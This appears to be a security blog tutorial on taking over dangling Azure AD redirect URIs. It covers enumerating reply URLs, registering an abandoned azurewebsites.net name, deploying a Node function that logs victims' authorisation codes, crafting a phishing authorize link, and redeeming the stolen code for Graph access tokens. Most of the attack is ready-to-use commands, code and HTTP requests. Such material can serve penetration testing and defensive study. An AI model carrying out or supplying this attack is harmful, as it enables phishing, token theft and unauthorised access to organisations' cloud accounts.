Skip to content

Dangling Redirect URLs

Summary

An Azure Application Redirect URI (Uniform Resource Identifier) is a critical component in the OAuth 2.0 and OpenID Connect authentication flows. It specifies where the identity provider (such as Azure AD) should redirect users after they have authenticated. This URI is registered in the Azure portal as part of your application configuration to ensure security and proper flow of authentication.

If the Redirect URI for an application can be hijacked then it is possible to construct a link that will force a victim through the SSO flow and end in the disclosure of an OAUTH authentication code that (in some circumstances) can be exchanged for refresh/access tokens.

I'll run through an example of finding exploitable redirect URIs from ROADRecon/MS graph data.

Enumerate Redirect URIs

Redirect URIs can be extracted from the ROADRecon DB into a CSV:

sqlite3 -header -csv roadrecon.db "select displayName, replyUrls  from applications" >> application_replyurls.csv

The domains for the various replyUrls can be extracted and uniqued.

Looping over the domains from the URIs provides an easy way to see which ones don't resolve:

for i in $(cat reply_domains.txt); do ping -c 1 $i >> reply_ping.txt;done
ping: idonotexist.azurewebsites.net: Name or service not known

Is the application actually exploitable?

Armed with a list of potentially hijackable domains, you get excited and think that you can just start harvesting auth codes and exchanging them for tokens. Not so fast. Redirect URIs are defined in one of a few flavours:

  • Public
  • Web
  • Single Page Application (SPA)

If the URI is classed as Web or SPA, then the application is required to provide a client_secret value when exchanging the authorisation code for tokens. Unless for some reason you have the client secret for that application (or can add one) then you're out of luck.

Public redirect URIs are used where there's no expectation that the client_secret could be kept…..secret. So for example a desktop client that could be decompiled. So if you get an authorisation code for one of those, then you can directly exchange it for a refresh/access token and away you go.

How do you tell whether the Redirect URI is public?

Unfortunately, the roadrecon data (nor the graph.windows.net endpoint) seem to give up this information, but querying the msgraph (graph.microsoft.com) endpoint for the application's object ID (NOT the application ID) gives you the info. An example request and response below, where the applications OBJECT ID is 2a0375f9-6a41-4d97-9044-327d36e4d400:

1
2
3
4
5
6
7
8
9
GET /beta/applications/2a0375f9-6a41-4d97-9044-327d36e4d400 HTTP/1.1
Host: graph.microsoft.com
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
Authorization: Bearer <SNIP>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

The response shows that the application has a publicClient redirect URI, so we're in luck.

1
2
3
4
5
"appId":"ac5cd9d2-8ccb-44c3-9f3f-e5116951374d",
"displayName":"testapp"
<snip>
"publicClient":{"redirectUris":["https://idonotexist.azurewebsites.net/signin-oidc"]},
</snip>

In this case, the redirect URI is an Azure function app, so if we go and register a new function app with the name of idonotexist then we should be able to run a function that listens on the signin-oidc path. A few things to note:

If you make a C# Azure function, you can't have a hyphen in the path name. It doesn't tell you this, it will just silently change signin-oidc to signin_oidc and cause you unrequired pain. You also have to faff around setting up an IDE if you choose C#/Python. If you pick Node/JS then you can edit the code directly in the Azure portal, which makes things a bit easier….so pick node when you create the function.

Azure functions automatically prefix your function name with /api/, so if you just span up a vanilla function called signin-oidc, then your function URL would end up being https://idonotexist.azurewebsites.net/api/signin-oidc

You don't want that, as it needs to match what the Azure application has configured as it's redirect URI. To get around this, you can add a blank custom prefix in the hosts.json file in the function.

{
  "version": "2.0",
  "extensions": {
    "http": {
      "routePrefix": ""
    }
},
  "logging": {
    "applicationInsights": {
      "samplingSettings": {
        "isEnabled": true,
        "excludedTypes": ""
      }
    }
  },
  "extensionBundle": {
    "id": "Microsoft.Azure.Functions.ExtensionBundle",
    "version": "[4.*, 5.0.0)"
  }
}

It should look like this: Pasted image 20250821184802.png

If you're unable to edit the file here because it's in read only mode, then you might have to set up an IDE. I'll try to remember to put a note at the end of this section on how to do that.

So you've got your function up and running at the right URL and now you want to make sure you can log POST/GET requests to steal the token. Pop this in your function code:

const { app } = require('@azure/functions');

app.http('signin-oidc', {
    methods: ['GET', 'POST'],
    authLevel: 'anonymous',
    handler: async (request, context) => {
        context.log(`Http function processed request for url "${request.url}"`);

        // Log GET query parameters
        if (request.method === 'GET') {
            const queryParams = new URLSearchParams(request.query);
            context.log('GET query parameters:', Object.fromEntries(queryParams.entries()));
        }

        // Log POST body parameters
        if (request.method === 'POST') {
            const bodyParams = await request.json();
            context.log('POST body parameters:', bodyParams);
        }



        return { body: `Hello` };
    }
});

If you've enabled Application Insights on the function (which is the default) then when you can nip over to the Logs blade and see the incoming requests to the function: Pasted image 20250821184834.png

Now it's time to construct a link that you can send to someone. You will need:

  • client_id = The application ID (appID in ROADRecon)
  • scope = The graph endpoint you want to get tokens for
  • code_challenge = The value in the link below should work but you can generate your own
  • redirect_uri = Your newly registered function/domain
  • Target tenant - this goes immediately after the login.microsoftonline.com part

The final link should look like this:

https://login.microsoftonline.com/targettenant.com/oauth2/v2.0/authorize?client_id=ac5cd9d2-8ccb-44c3-9f3f-e5116951374d&response_type=code&scope=https%3a%2f%2fgraph.windows.net%2f.default&code_challenge=r7OWBxrjnTZb7cWAXSbts6nHl2ACmLeSF5G7Dfb1X8Q&redirect_uri=https%3a%2f%2fidonotexist.azurewebsites.net%2fsignin-oidc

So you send this to someone, they click on it whilst logged in to Office/Azure and if they have access to the application in question, you receive a code in your logs, like this: Pasted image 20250821184902.png

You can then exchange this token via the OAUTH flow for some nice tokens, making sure all the parameters from the above requests/logs align:

POST /targettenant.com/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188

client_id=ac5cd9d2-8ccb-44c3-9f3f-e5116951374d&scope=https%3a%2f%2fgraph.windows.net%2f.default&code=<CODE>&session_state=d747faf0-4501-441c-befa-835faf7df94f&redirect_uri=https%3a%2f%2fidonotexist.azurewebsites.net%2fsignin-oidc&grant_type=authorization_code&code_verifier=r7OWBxrjnTZb7cWAXSbts6nHl2ACmLeSF5G7Dfb1X8Q

You should get a response similar to the following:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Date: Wed, 24 Jul 2024 17:31:00 GMT
Content-Length: 1880

{"token_type":"Bearer","scope":"https://graph.windows.net/User.Read https://graph.windows.net/.default","expires_in":3722,"ext_expires_in":3722,"access_token":"eyJ0eXAiOiJKV1Q....